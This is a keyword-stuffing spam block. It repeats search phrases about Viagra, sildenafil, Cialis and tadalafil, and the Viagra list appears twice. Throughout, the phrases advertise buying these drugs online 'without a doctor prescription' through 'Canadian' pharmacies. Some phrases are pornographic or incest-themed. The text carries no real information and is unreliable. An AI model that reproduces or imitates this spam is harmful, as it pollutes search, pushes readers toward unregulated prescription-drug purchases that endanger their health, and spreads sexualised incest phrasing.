female viagra female viagra pills free viagra free viagra samples generic viagra generic viagra 100mg generic viagra available generic viagra canada price generic viagra online pharmacy generic viagra sildenafil citrate generic viagra without a doctor prescription herbal viagra how does viagra work how long does viagra last how much does viagra cost how to take viagra for maximum effect i took viagra mom levitra vs viagra mom gives son viagra natural viagra natural viagra alternatives that work natural viagra substitute nizagara 100 mg vs viagra online viagra online viagra without subscription over the counter viagra real life viagra demonstration revatio vs viagra side effects of viagra sildenafil sildenafil 100mg sildenafil 20 mg sildenafil 20 mg tablet sildenafil 20 mg tablet vs viagra sildenafil citrate sildenafil citrate 100mg sildenafil citrate 20 mg sildenafil coupons sildenafil dosage sildenafil dosage recommendations sildenafil generic sildenafil side effects sophia viagra sophia viagra bikini sophia viagra hot stendra vs viagra stepmom gives son viagra viagra viagra 100mg viagra before after photo actual viagra boner viagra canada online pharmacy viagra coupon viagra coupons viagra coupons from pfizer viagra dosage viagra dosage recommendations viagra erection viagra erection after ejaculation viagra for men viagra for sale viagra for sale on amazon viagra for women viagra generic viagra generic availability viagra generic release date viagra in action viagra on line viagra online viagra online canada pharmacy viagra online pharmacy viagra patent expiration viagra pill viagra pills viagra porn viagra prank viagra prices viagra samples viagra sex viagra side effects viagra substitute viagra vs cialis viagra without a doctor prescription viagra without doctor prescription what is viagra when will generic viagra be available blue chew viagra scam buy viagra buy viagra online buy viagra online canada pharmacy buy viagra online without script canada pharmacy viagra generic canadian pharcharmy online viagra canadian viagra canadian viagra without a doctor prescription cheap viagra cialis vs viagra cost of viagra female viagra female viagra pills free viagra free viagra samples generic viagra generic viagra 100mg generic viagra available generic viagra canada price generic viagra online pharmacy generic viagra sildenafil citrate generic viagra without a doctor prescription herbal viagra how does viagra work how long does viagra last how much does viagra cost how to take viagra for maximum effect i took viagra mom levitra vs viagra mom gives son viagra natural viagra natural viagra alternatives that work natural viagra substitute nizagara 100 mg vs viagra online viagra online viagra without subscription over the counter viagra real life viagra demonstration revatio vs viagra side effects of viagra sildenafil sildenafil 100mg sildenafil 20 mg sildenafil 20 mg tablet sildenafil 20 mg tablet vs viagra sildenafil citrate sildenafil citrate 100mg sildenafil citrate 20 mg sildenafil coupons sildenafil dosage sildenafil dosage recommendations sildenafil generic sildenafil side effects sophia viagra sophia viagra bikini sophia viagra hot stendra vs viagra stepmom gives son viagra viagra viagra 100mg viagra before after photo actual viagra boner viagra canada online pharmacy viagra coupon viagra coupons viagra coupons from pfizer viagra dosage viagra dosage recommendations viagra erection viagra erection after ejaculation viagra for men viagra for sale viagra for sale on amazon viagra for women viagra generic viagra generic availability viagra generic release date viagra in action viagra on line viagra online viagra online canada pharmacy viagra online pharmacy viagra patent expiration viagra pill viagra pills viagra porn viagra prank viagra prices viagra samples viagra sex viagra side effects viagra substitute viagra vs cialis viagra without a doctor prescription viagra without doctor prescription what is viagra when will generic viagra be available $200 cialis coupon 10 mg tadalafil generic 5 mg cialis over the counter at walmart best price for tadalafil 20 mg buy cialis buy cialis generic tadalafil buy cialis online buy cialis online without script buy tadalafil buy tadalafil online canadian cialis online pharmacy canadian pharmacy cialis cheap cialis cheap cialis generic cialis cialis 20 mg best price cialis 20mg cialis 30 day sample cialis 30 day trial coupon cialis and alcohol cialis before and after cialis canada cialis canada pharmacy online cialis cost cialis coupon cialis coupons cialis coupons printable cialis dosage cialis dosage information cialis for daily use cialis for sale cialis free trial cialis free trial voucher for cialis cialis generic cialis generic release date cialis generic tadalafil cialis lowest price cialis online cialis online pharmacy cialis over the counter cialis over the counter at walmart cialis patent expiration date extended cialis picture testimonials cialis pills cialis price cialis prices cialis reviews cialis side effects cialis tadalafil cialis tadalafil 20 mg cialis vs viagra cialis vs viagra which is better cialis without a doctor's prescription cialis without doctor prescription cost of cialis cost of tadalafil generic at walgreens coupon for cialis by manufacturer does cialis lower blood pressure generic cialis generic cialis at walmart generic cialis canada generic cialis canada pharmacy generic cialis from india generic cialis tadalafil generic tadalafil generic tadalafil 20 mg is there a generic for cialis online cialis purchasing cialis on the internet side effects for cialis side effects for tadalafil side effects of cialis tadalafil tadalafil 20 mg tadalafil 20 mg canadian drug stores tadalafil 20mg tadalafil 20mg lowest price tadalafil 5 mg tadalafil 5mg tadalafil cost at walmart tadalafil dosage tadalafil generic tadalafil generic at walgreens tadalafil generic best prices tadalafil online tadalafil price tadalafil side effects tadalafil tablets tadalafil without a doctor's prescription viagra vs cialis viagra vs cialis vs levitra warnings for tadalafil